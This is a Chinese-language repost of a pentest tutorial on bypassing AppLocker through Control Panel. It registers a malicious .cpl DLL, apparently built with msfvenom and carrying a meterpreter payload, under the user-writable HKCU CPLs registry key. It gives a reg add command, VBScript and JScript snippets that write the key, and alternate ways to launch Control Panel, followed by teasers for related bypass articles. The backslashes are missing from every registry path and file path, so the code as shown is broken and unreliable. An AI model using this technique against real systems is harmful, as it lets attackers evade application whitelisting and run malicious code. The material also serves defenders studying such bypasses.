绕过AppLocker系列之控制面板的利用

本文讲的是绕过AppLocker系列之控制面板的利用,使用默认规则实现AppLocker不能提供任何充分的保护,因为通过使用合法的Windows二进制文件和利用常见的系统错误配置就会产生多个绕过方法。在Windows系统中,当用户打开控制面板时,会加载多个CPL文件。这些CPL文件的列表是从注册表中获得的。

Francesco Mifsud  发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。

HKLMSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs
HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs

问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。

绕过AppLocker ——阻止 CMD 运行

第一步是创建一个DLL并将其重命名为.Cpl,以便它可以与控制面板一起执行。Metasploit 的Msfvenom可以创建一个自定义的DLL,其中可以包含一个嵌入的meterpreter有效负载或者Didier Stevens的 cmd DLL文件,可以用来绕过禁止cmd运行的限制。

以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径。默认情况下,标准用户对自己的配置单元是具有写入权限的。

reg add "HKCUSOFTWAREMicrosoftWindowsCurrentVersionControl PanelCpls"
/v pentestlab.cpl /t REG_SZ /d "C:pentestlab.cpl"

绕过AppLocker —— 将注册表键添加到注册表

如果cmd被禁用,可以使用注册表编辑器添加注册表项:

注册表编辑器 – 添加CPL注册表键

Francesco Mifsud还发布了两个脚本,可以在cmd和注册表编辑器被阻止时将注册表键添加到注册表中。

VBScript:

const HKEY_CURRENT_USER = &H80000001
 
strComputer = "."
 
Set objReg=GetObject(
"winmgmts:{impersonationLevel=impersonate}!" & strComputer & "rootdefault:StdRegProv")
 
strKeyPath = "SoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs"
objReg.CreateKey HKEY_CURRENT_USER,strKeyPath
 
strValueName = "pentestlabCPL"
strValue = "C:pentestlabCPL.cpl"
objReg.SetStringValue
HKEY_CURRENT_USER,strKeyPath,strValueName,strValue

Jscript:

var obj = WScript.CreateObject("WScript.Shell");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLs", "Top level key");
obj.RegWrite("HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCPLspentestlabCPL", "C:pentestlabCPL.cpl","REG_SZ");

从启动控制面板的那一刻开始,代码将被执行,cmd将被打开。

AppLocker Bypass – 通过控制面板命令提示符

在控制面板被阻止打开的情况下,可以使用以下位置作为启动控制面板的替代方法。

· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}

原文发布时间为:2017年7月13日

本文作者:丝绸之路

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-09-17 03:41:46

绕过AppLocker系列之控制面板的利用的相关文章

绕过AppLocker系列之Rundll32的利用

本文讲的是绕过AppLocker系列之Rundll32的利用,Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件.由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法.所以如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码. Rundll32 – JavaScript 可以使用rundll32这个二进

绕过AppLocker系列之MSBuild的利用

本文讲的是绕过AppLocker系列之MSBuild的利用,Microsoft已经在.NET框架中发布了许多可以编译和执行代码的二进制文件.最初引入了MSBuild,以便开发人员在不安装Visual Studio的环境中构建产品.具体来说,这个二进制文件可以编译XML C#项目文件,因为它有一个名为Tasks的方法,可以执行一个写入托管代码的任务.但是,由于此方法可以操作代码而且MSBuild是受信任的Microsoft二进制文件并且可以执行代码,因此,攻击者可能会滥用它,用来绕过AppLock

绕过AppLocker系列之MSIEXEC的利用

本文讲的是绕过AppLocker系列之MSIEXEC的利用,MSIEXEC是Windows操作系统中的一个实用程序,可用于从命令行安装或配置产品. 如果环境配置不正确,则使用.MSI文件就可以允许攻击者执行权限升级或绕过AppLocker规则. 本文的以下内容表明,当系统配置为不阻止所有用户执行MSI文件时,那么系统就得不到正确的保护,因为任何一个AppLocker的可执行规则都可以轻松绕过. 可以使用Metasploit 的MsfVenom来生成用于执行命令或有效载荷的.MSI文件. msfv

绕过AppLocker系列之弱路径规则的利用

本文讲的是绕过AppLocker系列之弱路径规则的利用,默认情况下,AppLocker规则允许Windows文件夹和Program 文件夹内的所有文件执行,否则系统将无法正常运行. 如果这些文件夹中没有设置适当的权限,攻击者就可以利用此权限绕过AppLocker. 默认情况下,Windows 环境(Windows Server 2008 R2中进行了检查),允许系统的标准用户在这些文件夹中具有读写权限: C:WindowsTasks C:WindowsTemp C:Windowstracing

绕过AppLocker系列之Regasm和Regsvcs的利用

本文讲的是绕过AppLocker系列之Regasm和Regsvcs的利用,Regasm和Regsvcs都是用于向COM对象注册程序集文件的Microsoft二进制文件. 这些二进制文件可以在.NET框架中找到,并且由于它们是可信的,所以这两个Microsoft实用程序可以用于绕过AppLocker限制和执行任意代码. Casey Smith发现可以操纵这些可执行文件的功能,用于执行恶意代码. 唯一的要求是组装的文件需要使用强名称进行签名. Microsoft已经发布了名为Sn.exe(Stron

绕过UAC系列之 SDCLT的利用

本文讲的是绕过UAC系列之 SDCLT的利用,SDCLT是Windows系统(Windows 7及更高版本)中使用的Microsoft二进制文件,允许用户执行备份和恢复操作. 但是它只是 Windows 将autoElevate设置为"true"的所有Microsoft二进制文件中的一个. 这一点可以通过使用sysinternals中的Sigcheck工具并浏览其清单文件进行验证: sdclt 的 autoelevate被设置为true Matt Nelson发现了两种可以允许用户在W

看我如何利用文件扩展名绕过AppLocker?

本文讲的是看我如何利用文件扩展名绕过AppLocker?,绕过AppLocker的限制通常需要使用Microsoft信任的二进制文件来执行代码或弱路径规则.然而,在系统中,系统已经配置了默认规则,并且允许使用命令提示符和PowerShell来通过使用具有不同文件扩展名的有效载荷来绕过AppLocker. 可以使用Metasploit 的Web delivery模块来托管要使用到的powershell有效载荷,并从目标中检索传入的连接. exploit/multi/script/web_deliv

如何利用msxsl绕过AppLocker?

本文讲的是如何利用msxsl绕过AppLocker?, 0x00 前言 Casey Smith@subTee在twitter分享的一个技巧,使用包含微软签名的msxsl.exe能够执行JScript代码,从而实现对Applocker的绕过. 如图 twitter地址如下: https://twitter.com/subTee/status/877616321747271680 POC地址如下: https://gist.github.com/subTee/47f16d60efc9f7cfefd6

Openstack Keystone身份验证模块出现安全绕过漏洞CVE-2017-2673 已经出现漏洞利用工具

开源平台Openstack的身份验证模块Keystone出现 安全绕过漏洞 ,黑客如果成功利用漏洞,可能绕过某些预期的安全限制,并执行未经授权的操作,并发动进一步的攻击. 影响范围 OpenStack Kesytone 10.0.0, 10.0.1 and 11.0.0 均受影响,其它版本也可能受影响.目前漏洞利用工具已经开始流传. Keystone是什么 Keystone(OpenStack Identity Service)是 OpenStack 框架中负责管理身份验证.服务规则和服务令牌功